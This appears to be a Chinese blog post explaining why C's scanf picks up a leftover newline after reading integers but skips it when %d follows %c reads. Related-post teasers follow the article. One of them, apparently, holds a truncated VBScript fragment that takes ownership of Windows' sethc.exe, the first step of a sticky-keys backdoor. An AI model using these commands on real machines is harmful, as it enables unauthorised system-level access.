寫個有意思的事吧

2021-10-06 13:42:59 字數 1843 閱讀 5039

嗐,好多天沒有寫了,今天記錄下吧~,挺有意思的,但原諒本人非計算機專業,不知道作何解釋

先看一段**:

//先讀入整數型,再讀入字元型

int a,b;

//整數型

printf

("輸入兩個整數:\n");

scanf

("%d%d"

,&a,

&b);

printf

("a=%d,b=%d\n"

,a,b)

;char c;

//字元型

scanf

("%c"

,&c)

;printf

("%d\n"

,c);

然後看下執行結果:

注意:c在這我用的是%d的輸出格式,c原本應該是乙個換行符「\n」

上面,我們只輸入了兩個整數1、2,結果卻輸出了三個值,這是為何?

沒錯,原因在這裡:

在我們輸入兩個整數1 、2後,同時按下了乙個換行符。

此時1 和 2分別賦給了a、b,但是換行符不會自動消失,它還停留在緩衝區內,所以當下乙個變數需要進行使用者輸入賦值時,這個換行符便會從緩衝區裡出來賦給這個變數(也就是這裡的c)。

什麼是緩衝區?

接觸過語言的人,可能多多少少都知道些吧,我對緩衝區的理解:

當你輸入的數值個數多於當前要賦值的變數個數時,多餘的數值便會暫時儲存在緩衝區內。所以在進行下一次賦值時,如果緩衝區內有值,系統不等你輸入,就優先使用緩衝區裡的值了。(具體是什麼可以去搜下)

沒錯,上面這個東西大部分人都知道,所以重點不是它,只是要用它引出下文

老規矩:先來看一段**:

//先讀入字元型,再讀入整數型

char a,b;

//字元型

printf

("輸入兩個字元型資料:\n");

scanf

("%c%c"

,&a,

&b);

printf

("a=%c,b=%c\n"

,a,b)

;int c;

//整數型

scanf

("%d"

,&c)

;printf

("%d\n"

,c);

沒展示結果前,大家不妨猜一下會出現什麼結果?有沒有和我一樣的答案?

例如輸入ab(換行符)

猜想輸出:a=a b=b c=10

一起看下執行結果吧:

是的,沒錯,上面還沒有執行結束,系統還在等著我輸入c的值

為什麼呢?,換行符呢?

我也有大大的疑問,換行符呢?

不過該總結還是總結:

先輸入整數型,再輸入字元型時,後續字元會把前面殘留的換行符也讀入

先輸入字元型,再輸入整數型時,換行符不會讀入,該怎樣輸入就怎樣輸入

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...